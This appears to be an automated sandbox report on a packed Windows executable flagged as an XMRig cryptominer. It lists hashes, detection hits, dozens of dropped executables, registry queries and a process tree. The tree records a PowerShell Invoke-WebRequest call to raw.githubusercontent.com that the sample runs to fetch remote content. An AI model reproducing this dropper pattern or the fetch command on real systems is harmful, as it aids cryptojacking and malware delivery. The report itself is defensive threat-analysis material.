xmrig | 9c9dd426a4e58d185539c61a953398d24c74e7352b860de63ef78c40b9ed2b6d

Analysis

max time kernel
51s
max time network
137s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
07/06/2024, 09:56

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
Size 1.7MB
Sample240607-lysmbaff27
SHA256 9c9dd426a4e58d185539c61a953398d24c74e7352b860de63ef78c40b9ed2b6d
MD5 4c061f2f66e464229c97f56fac0fbe90
SHA1 3c55b17dd621b2c7ba41b1ad1387250b2de82052
SHA512 97158b1f951d90b438fab68972ccc24ab07a22c281f5ab0a8a92eb9e22b2433618047911dd08cf2f141dc77d8f9e93a14f2bfaba0f0ad0b13902ccffcc8571c3
SSDEEP 24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYL+t6kw2bPUyYaKXgXScSFA9Jsk:Lz071uv4BPMkibTIA5LDGTUXaDmZ5Y
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 47 IoCs

miner

resource	yara_rule
behavioral2/memory/1756-53-0x00007FF720280000-0x00007FF720672000-memory.dmp	xmrig
behavioral2/memory/4952-57-0x00007FF636360000-0x00007FF636752000-memory.dmp	xmrig
behavioral2/memory/1572-60-0x00007FF77EFF0000-0x00007FF77F3E2000-memory.dmp	xmrig
behavioral2/memory/4588-368-0x00007FF763A50000-0x00007FF763E42000-memory.dmp	xmrig
behavioral2/memory/4332-369-0x00007FF7A1060000-0x00007FF7A1452000-memory.dmp	xmrig
behavioral2/memory/4616-372-0x00007FF6DFD20000-0x00007FF6E0112000-memory.dmp	xmrig
behavioral2/memory/4248-371-0x00007FF69BEF0000-0x00007FF69C2E2000-memory.dmp	xmrig
behavioral2/memory/2152-370-0x00007FF6845F0000-0x00007FF6849E2000-memory.dmp	xmrig
behavioral2/memory/3684-367-0x00007FF6E1320000-0x00007FF6E1712000-memory.dmp	xmrig
behavioral2/memory/3652-374-0x00007FF7A78F0000-0x00007FF7A7CE2000-memory.dmp	xmrig
behavioral2/memory/4900-375-0x00007FF6FE090000-0x00007FF6FE482000-memory.dmp	xmrig
behavioral2/memory/2432-373-0x00007FF665EC0000-0x00007FF6662B2000-memory.dmp	xmrig
behavioral2/memory/3408-377-0x00007FF603DC0000-0x00007FF6041B2000-memory.dmp	xmrig
behavioral2/memory/3968-378-0x00007FF670250000-0x00007FF670642000-memory.dmp	xmrig
behavioral2/memory/1796-376-0x00007FF7989B0000-0x00007FF798DA2000-memory.dmp	xmrig
behavioral2/memory/5056-73-0x00007FF64B0B0000-0x00007FF64B4A2000-memory.dmp	xmrig
behavioral2/memory/8-72-0x00007FF777250000-0x00007FF777642000-memory.dmp	xmrig
behavioral2/memory/1156-71-0x00007FF659480000-0x00007FF659872000-memory.dmp	xmrig
behavioral2/memory/2964-68-0x00007FF78CFC0000-0x00007FF78D3B2000-memory.dmp	xmrig
behavioral2/memory/220-41-0x00007FF79B130000-0x00007FF79B522000-memory.dmp	xmrig
behavioral2/memory/2336-2958-0x00007FF629DC0000-0x00007FF62A1B2000-memory.dmp	xmrig
behavioral2/memory/3484-3717-0x00007FF6384F0000-0x00007FF6388E2000-memory.dmp	xmrig
behavioral2/memory/8-5014-0x00007FF777250000-0x00007FF777642000-memory.dmp	xmrig
behavioral2/memory/220-5183-0x00007FF79B130000-0x00007FF79B522000-memory.dmp	xmrig
behavioral2/memory/5076-5186-0x00007FF720E40000-0x00007FF721232000-memory.dmp	xmrig
behavioral2/memory/2400-5195-0x00007FF6E1390000-0x00007FF6E1782000-memory.dmp	xmrig
behavioral2/memory/2336-5198-0x00007FF629DC0000-0x00007FF62A1B2000-memory.dmp	xmrig
behavioral2/memory/1756-5191-0x00007FF720280000-0x00007FF720672000-memory.dmp	xmrig
behavioral2/memory/4952-5201-0x00007FF636360000-0x00007FF636752000-memory.dmp	xmrig
behavioral2/memory/2964-5209-0x00007FF78CFC0000-0x00007FF78D3B2000-memory.dmp	xmrig
behavioral2/memory/1572-5213-0x00007FF77EFF0000-0x00007FF77F3E2000-memory.dmp	xmrig
behavioral2/memory/1156-5218-0x00007FF659480000-0x00007FF659872000-memory.dmp	xmrig
behavioral2/memory/3484-5221-0x00007FF6384F0000-0x00007FF6388E2000-memory.dmp	xmrig
behavioral2/memory/5056-5225-0x00007FF64B0B0000-0x00007FF64B4A2000-memory.dmp	xmrig
behavioral2/memory/3684-5232-0x00007FF6E1320000-0x00007FF6E1712000-memory.dmp	xmrig
behavioral2/memory/4588-5236-0x00007FF763A50000-0x00007FF763E42000-memory.dmp	xmrig
behavioral2/memory/4332-5240-0x00007FF7A1060000-0x00007FF7A1452000-memory.dmp	xmrig
behavioral2/memory/2152-5248-0x00007FF6845F0000-0x00007FF6849E2000-memory.dmp	xmrig
behavioral2/memory/2432-5250-0x00007FF665EC0000-0x00007FF6662B2000-memory.dmp	xmrig
behavioral2/memory/3652-5255-0x00007FF7A78F0000-0x00007FF7A7CE2000-memory.dmp	xmrig
behavioral2/memory/4900-5258-0x00007FF6FE090000-0x00007FF6FE482000-memory.dmp	xmrig
behavioral2/memory/1796-5260-0x00007FF7989B0000-0x00007FF798DA2000-memory.dmp	xmrig
behavioral2/memory/3968-5266-0x00007FF670250000-0x00007FF670642000-memory.dmp	xmrig
behavioral2/memory/3408-5262-0x00007FF603DC0000-0x00007FF6041B2000-memory.dmp	xmrig
behavioral2/memory/4248-5245-0x00007FF69BEF0000-0x00007FF69C2E2000-memory.dmp	xmrig
behavioral2/memory/4616-5243-0x00007FF6DFD20000-0x00007FF6E0112000-memory.dmp	xmrig
behavioral2/memory/8-5534-0x00007FF777250000-0x00007FF777642000-memory.dmp	xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2208	powershell.exe
5	2208	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2208	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
5076	KvotBti.exe
220	LCrrwMc.exe
2400	ofkpEfA.exe
2336	eeMgUDv.exe
1756	DJySSeV.exe
4952	abOmgyQ.exe
2964	nZmwAic.exe
1572	aIuGJOk.exe
3484	jFhjzVZ.exe
1156	OJPybCV.exe
8	oDojxtq.exe
5056	ddeZKOv.exe
3684	iLWlSyV.exe
4588	ekWrCCF.exe
4332	KblssbQ.exe
2152	dHHLVEf.exe
4248	oEMsFYD.exe
4616	afpamHn.exe
2432	xIqHFWH.exe
3652	RDcOzaC.exe
4900	VvEzsVR.exe
1796	KqOEvDb.exe
3408	FNkIpij.exe
3968	XPCeWCD.exe
2388	TwMxTND.exe
4856	MXPLDho.exe
2768	FZGRJuG.exe
2660	tICOJWK.exe
1596	EnXHZQA.exe
4252	tQtnCVq.exe
4540	ZPoNcEG.exe
4532	kzrwXaw.exe
1368	pbTgWZK.exe
2384	GRFGsGk.exe
1012	uthawEc.exe
4068	KJvLmhq.exe
4404	QyvBzKB.exe
1272	PksBKfT.exe
396	wLGOiaw.exe
3772	SALlfDB.exe
3216	uOYAkqq.exe
4308	YhOgBPt.exe
2888	ZrFCDyE.exe
920	JODSLNR.exe
1928	DIPwyEc.exe
1040	wWhdAoD.exe
4564	lILKYCQ.exe
956	tKpNStg.exe
2640	XaLTXut.exe
4940	xEdKnqb.exe
5136	cOKOgyA.exe
5168	flJGbPl.exe
5196	JNFakiD.exe
5224	TbEMhWI.exe
5252	xaiGqZT.exe
5284	odNWdYp.exe
5312	ibXBOmP.exe
5348	MrdBaqu.exe
5368	bONMgLt.exe
5396	xCIBQSD.exe
5424	FdaPlbQ.exe
5448	ftnKstI.exe
5480	JyisFts.exe
5508	irICDXP.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/628-0-0x00007FF778070000-0x00007FF778462000-memory.dmp	upx
behavioral2/files/0x00090000000235af-5.dat	upx
behavioral2/files/0x00070000000235b7-7.dat	upx
behavioral2/files/0x00070000000235ba-38.dat	upx
behavioral2/files/0x00070000000235bd-45.dat	upx
behavioral2/memory/1756-53-0x00007FF720280000-0x00007FF720672000-memory.dmp	upx
behavioral2/memory/4952-57-0x00007FF636360000-0x00007FF636752000-memory.dmp	upx
behavioral2/memory/1572-60-0x00007FF77EFF0000-0x00007FF77F3E2000-memory.dmp	upx
behavioral2/memory/3484-67-0x00007FF6384F0000-0x00007FF6388E2000-memory.dmp	upx
behavioral2/files/0x00070000000235bf-69.dat	upx
behavioral2/files/0x00070000000235c0-76.dat	upx
behavioral2/files/0x00070000000235c4-110.dat	upx
behavioral2/files/0x00070000000235c8-127.dat	upx
behavioral2/files/0x00070000000235ca-137.dat	upx
behavioral2/files/0x00070000000235cd-149.dat	upx
behavioral2/files/0x00070000000235d0-172.dat	upx
behavioral2/files/0x00070000000235d4-184.dat	upx
behavioral2/memory/4588-368-0x00007FF763A50000-0x00007FF763E42000-memory.dmp	upx
behavioral2/memory/4332-369-0x00007FF7A1060000-0x00007FF7A1452000-memory.dmp	upx
behavioral2/memory/4616-372-0x00007FF6DFD20000-0x00007FF6E0112000-memory.dmp	upx
behavioral2/memory/4248-371-0x00007FF69BEF0000-0x00007FF69C2E2000-memory.dmp	upx
behavioral2/memory/2152-370-0x00007FF6845F0000-0x00007FF6849E2000-memory.dmp	upx
behavioral2/memory/3684-367-0x00007FF6E1320000-0x00007FF6E1712000-memory.dmp	upx
behavioral2/memory/3652-374-0x00007FF7A78F0000-0x00007FF7A7CE2000-memory.dmp	upx
behavioral2/memory/4900-375-0x00007FF6FE090000-0x00007FF6FE482000-memory.dmp	upx
behavioral2/memory/2432-373-0x00007FF665EC0000-0x00007FF6662B2000-memory.dmp	upx
behavioral2/memory/3408-377-0x00007FF603DC0000-0x00007FF6041B2000-memory.dmp	upx
behavioral2/memory/3968-378-0x00007FF670250000-0x00007FF670642000-memory.dmp	upx
behavioral2/memory/1796-376-0x00007FF7989B0000-0x00007FF798DA2000-memory.dmp	upx
behavioral2/files/0x00070000000235d2-182.dat	upx
behavioral2/files/0x00070000000235d3-179.dat	upx
behavioral2/files/0x00070000000235d1-177.dat	upx
behavioral2/files/0x00070000000235cf-167.dat	upx
behavioral2/files/0x00070000000235ce-162.dat	upx
behavioral2/files/0x00070000000235cc-152.dat	upx
behavioral2/files/0x00070000000235cb-147.dat	upx
behavioral2/files/0x00080000000235c5-142.dat	upx
behavioral2/files/0x00070000000235c9-132.dat	upx
behavioral2/files/0x00080000000235c6-120.dat	upx
behavioral2/files/0x00070000000235c7-115.dat	upx
behavioral2/files/0x00070000000235c3-105.dat	upx
behavioral2/files/0x00070000000235c2-90.dat	upx
behavioral2/files/0x00070000000235c1-85.dat	upx
behavioral2/memory/5056-73-0x00007FF64B0B0000-0x00007FF64B4A2000-memory.dmp	upx
behavioral2/memory/8-72-0x00007FF777250000-0x00007FF777642000-memory.dmp	upx
behavioral2/memory/1156-71-0x00007FF659480000-0x00007FF659872000-memory.dmp	upx
behavioral2/memory/2964-68-0x00007FF78CFC0000-0x00007FF78D3B2000-memory.dmp	upx
behavioral2/files/0x00080000000235b3-61.dat	upx
behavioral2/files/0x00070000000235be-58.dat	upx
behavioral2/files/0x00070000000235bc-55.dat	upx
behavioral2/files/0x00070000000235bb-46.dat	upx
behavioral2/memory/220-41-0x00007FF79B130000-0x00007FF79B522000-memory.dmp	upx
behavioral2/files/0x00070000000235b8-29.dat	upx
behavioral2/memory/2336-35-0x00007FF629DC0000-0x00007FF62A1B2000-memory.dmp	upx
behavioral2/files/0x00070000000235b9-23.dat	upx
behavioral2/memory/2400-26-0x00007FF6E1390000-0x00007FF6E1782000-memory.dmp	upx
behavioral2/memory/5076-21-0x00007FF720E40000-0x00007FF721232000-memory.dmp	upx
behavioral2/files/0x00070000000235b6-13.dat	upx
behavioral2/memory/2336-2958-0x00007FF629DC0000-0x00007FF62A1B2000-memory.dmp	upx
behavioral2/memory/3484-3717-0x00007FF6384F0000-0x00007FF6388E2000-memory.dmp	upx
behavioral2/memory/8-5014-0x00007FF777250000-0x00007FF777642000-memory.dmp	upx
behavioral2/memory/220-5183-0x00007FF79B130000-0x00007FF79B522000-memory.dmp	upx
behavioral2/memory/5076-5186-0x00007FF720E40000-0x00007FF721232000-memory.dmp	upx
behavioral2/memory/2400-5195-0x00007FF6E1390000-0x00007FF6E1782000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
2	raw.githubusercontent.com
3	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\tCSDNBg.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\VBsqnub.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\hpiDIeg.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\DfJEzPn.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\kuKVJGB.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\zpUTwtG.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\JCLxeuA.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\icttkKm.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\zRyRNNy.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\VTdafIA.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\fPwprwi.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\JgzRRjl.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\VZiwLfs.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\YGrXGWH.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\nDVYHBP.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\szWSBuM.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\sOpHrAP.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\oTQBwYn.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\TAdPZPu.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\VQSnZfL.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\KqOEvDb.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\cnTeNxF.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\ZQzTlHK.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\wZVtEeO.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\TMqrpgA.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\GaTaWBj.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\vIfMpzy.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\fYZvitB.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\Uheodpk.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\SMKnzeB.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\FCiEfyv.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\EsxJkoa.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\peSnhvO.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\iOQZuyM.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\KfWSLZl.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\tLOPjGa.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\WeUeydT.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\mLgQsZD.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\QTTAzHb.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\tFxuoNE.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\FuATAHq.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\kqbSyuQ.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\xotTUJq.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\JNbzFBH.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\HEmljRr.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\KWaPxrr.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\AyLvTbu.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\WBfbEuy.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\vDRkxYl.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\ijmLavO.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\cJhtuRT.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\GwpeDno.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\XMzOsWf.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\OuEiBoF.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\dSyrmhi.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\WOVgDsn.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\WYpSgoz.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\lILKYCQ.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\cmVWhml.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\bDvcuNs.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\AIoZVFF.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\dnPosLm.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\qUrhXGd.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
File created	C:\Windows\System\PctHJCP.exe	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wermgr.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	wermgr.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	wermgr.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2208	powershell.exe
2208	powershell.exe
2208	powershell.exe
2208	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
Token: SeLockMemoryPrivilege	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
Token: SeDebugPrivilege	2208	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 628 wrote to memory of 2208	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	93
PID 628 wrote to memory of 2208	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	93
PID 628 wrote to memory of 5076	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	94
PID 628 wrote to memory of 5076	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	94
PID 628 wrote to memory of 220	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	95
PID 628 wrote to memory of 220	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	95
PID 628 wrote to memory of 2400	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	96
PID 628 wrote to memory of 2400	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	96
PID 628 wrote to memory of 2336	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	97
PID 628 wrote to memory of 2336	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	97
PID 628 wrote to memory of 1756	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	98
PID 628 wrote to memory of 1756	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	98
PID 628 wrote to memory of 4952	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	99
PID 628 wrote to memory of 4952	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	99
PID 628 wrote to memory of 2964	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	100
PID 628 wrote to memory of 2964	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	100
PID 628 wrote to memory of 1572	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	101
PID 628 wrote to memory of 1572	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	101
PID 628 wrote to memory of 3484	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	102
PID 628 wrote to memory of 3484	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	102
PID 628 wrote to memory of 1156	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	103
PID 628 wrote to memory of 1156	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	103
PID 628 wrote to memory of 8	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	104
PID 628 wrote to memory of 8	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	104
PID 628 wrote to memory of 5056	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	105
PID 628 wrote to memory of 5056	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	105
PID 628 wrote to memory of 3684	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	106
PID 628 wrote to memory of 3684	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	106
PID 628 wrote to memory of 4588	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	107
PID 628 wrote to memory of 4588	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	107
PID 628 wrote to memory of 4332	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	108
PID 628 wrote to memory of 4332	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	108
PID 628 wrote to memory of 2152	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	109
PID 628 wrote to memory of 2152	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	109
PID 628 wrote to memory of 4248	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	110
PID 628 wrote to memory of 4248	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	110
PID 628 wrote to memory of 4616	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	111
PID 628 wrote to memory of 4616	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	111
PID 628 wrote to memory of 2432	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	112
PID 628 wrote to memory of 2432	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	112
PID 628 wrote to memory of 3652	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	113
PID 628 wrote to memory of 3652	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	113
PID 628 wrote to memory of 4900	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	114
PID 628 wrote to memory of 4900	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	114
PID 628 wrote to memory of 1796	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	115
PID 628 wrote to memory of 1796	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	115
PID 628 wrote to memory of 3408	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	116
PID 628 wrote to memory of 3408	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	116
PID 628 wrote to memory of 3968	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	117
PID 628 wrote to memory of 3968	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	117
PID 628 wrote to memory of 2388	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	118
PID 628 wrote to memory of 2388	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	118
PID 628 wrote to memory of 4856	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	119
PID 628 wrote to memory of 4856	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	119
PID 628 wrote to memory of 2768	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	120
PID 628 wrote to memory of 2768	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	120
PID 628 wrote to memory of 2660	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	121
PID 628 wrote to memory of 2660	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	121
PID 628 wrote to memory of 1596	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	122
PID 628 wrote to memory of 1596	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	122
PID 628 wrote to memory of 4252	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	123
PID 628 wrote to memory of 4252	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	123
PID 628 wrote to memory of 4540	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	124
PID 628 wrote to memory of 4540	628	4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe	124

C:\Users\Admin\AppData\Local\Temp\4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\4c061f2f66e464229c97f56fac0fbe90_NeikiAnalytics.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2208
- - C:\Windows\system32\wermgr.exe
    "C:\Windows\system32\wermgr.exe" "-outproc" "0" "2208" "2968" "2892" "2972" "0" "0" "2976" "0" "0" "0" "0" "0"
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    PID:6592
- C:\Windows\System\KvotBti.exe
  C:\Windows\System\KvotBti.exe
  2⤵
  - Executes dropped EXE
  PID:5076
- C:\Windows\System\LCrrwMc.exe
  C:\Windows\System\LCrrwMc.exe
  2⤵
  - Executes dropped EXE
